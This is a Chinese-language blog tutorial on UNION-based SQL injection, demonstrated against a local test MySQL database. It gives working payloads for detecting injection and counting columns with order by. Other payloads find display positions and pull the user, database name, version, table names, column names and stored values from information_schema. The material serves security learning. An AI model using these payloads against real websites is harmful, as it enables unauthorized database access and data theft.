(三)SQL注入—联合注入原理


  • 本篇主要总结了下联合注入的原理,并且结合数据库证明这些原理,联合注入主要是靠union实现,union的功能是将右边的查询结果和左边的查询结果合并,所以大部分操作都是通过union实现的。
  • 首先列出测试用的表结构和数据

数据库test的所有表

表test2

表test3

  • 在参数后添加引号,尝试语法错误回显,并用and 1=1#或者and 1=1#测试报错
?id=1' and 1=1#        页面返回正常
?id=1' and 1=2#        页面返回不正常

这里#的意思是注释掉结尾的引号
因为注入后的语句可能是 select * from table where columns='1' and 1=1' 这结尾最后的引号是会报错的
但是如果加了#,后面的引号就会被注释掉,变成:
select * from table where columns='1' and 1=1 #'

同样的注释方法还可以用--代替#,不同的数据库有不同的注释字符:
select * from table where columns='1' and 1=1 --'
  • 利用order by猜测字段的数量:order by后面加字段名或者列号,可以让查询结果以次字段排序
?id=1%27%20order%0aby%0c2%23    --返回正常
--上边用%0a和%0c的URL编码可以代替空格,到数据库后就是空格的意思

?id=1%27 order by 3#            --返回正常
?id=1%27 order by 4#            --返回正常
?id=1%27 order by 5#            --返回错误
--这就证明字段总数为4,不存在第五列

在order by后面加入数字,可以代替字段名
比如order by column1 就可以用 order by 1代替

用存在的列号排序后去查询

用不存在的列号4去查询

  • 利用UNION联合查询,可以判断显示位置
?id=-1' union select 1,2,3#

id=-1 查询了一个不存在的列,返回结果为一个空值
union 右边查询的结果将会和左边的查询结果合并,重复的将会只显示一行
select 1,2,3 直接返回一行值,内容为123
  • 假如SQL语句查询了所有字段,但是页面只是调用了其中几个字段的值
SELECT * FROM test2 where id=-1 UNION select 1,2,3;
  • 这个时候,我们就可以在UNION的右边插入想测试的值,比如1,2,3,假如页面中只显示了1和3,说明1和3的位置是能显示的,可以调用类似database()的函数

    将3换成database(),将会插入数据库名

  • 利用联合查询输出数据库信息

id=-1%27 union select 1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version())#

user()        --获取数据库用户名
database()    --获取数据库名
version()    --获取数据库版本信息

concat_ws(separator,str1,str2,...)    --含有分隔符地连接字符串 
--里边这的separator分隔符,用 char() 函数把 空格:空格 的ASCII码输出

--其它信息
@@datadir                --数据库路径
@@version_compile_os    --操作系统版本

查询到的用户名,数据库名,mysql版本

  • 利用联合查询查询数据库test的所有表名
id=-1%27 union select 1,2,table_name from information_schema.tables where table_schema='test' limit 0,1#

--information_schema.tables 从数据库information_schema中查询表tables,tables中存取了所有的表,并且这些表都有对应的数据库名,其中存储表名的字段名为table_name,存储
数据库名的字段名为table_schema
--table_schema=数据库名16进制或者用单引号括起来
--limit 0,1 查询结果中从第0个数据开始只读取一个数据
  • 不断地改变limit的第一个参数,就能爆出所有的表

  • 查询表test2的字段

id=-1%27 union select 1,2,column_name from information_schema.columns where table_schema='test' and table_name='test2' limit 0,1#

--information_schema.columns 从数据库information_schema中查询表columns,查询条件为数据库名table_schema和表名table_name,查询的值为字段名column_namecolumns中记录了所有的字段名
--limit 0,1 查询结果中从第0个数据开始只读取一个数据

  • 爆出表test3的所有字段值
union select 1,2,group_concat(sex) from test3;
--用字段名sex从表中取数据
group_concat(str1,str2,...)    --连接一个组的所有字符串

字段sex的所有值,默认用逗号分割了


文章作者: wkai
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wkai !
 上一篇
用docker部署mysql环境 用docker部署mysql环境
搜索并下载镜像 docker search mysql/mysql-server (这是一个优化过的镜像) 运行镜像 docker run -d -p 3306:3306 --name 1mysql mysql/mysq
2020-08-17
下一篇 
渗透测试—信息收集 渗透测试—信息收集
前言这两天被分配了个信息收集的任务,本以为挺简单的,其实步骤还挺多,所以还是总结下比较稳妥 第一步,找到目标的官方网站,收集子公司的名称和联系邮箱,还有其余备案网站1.官方网站,收集子公司的名称可以通过度娘,天眼查,企查查 2.网
2020-08-14
  目录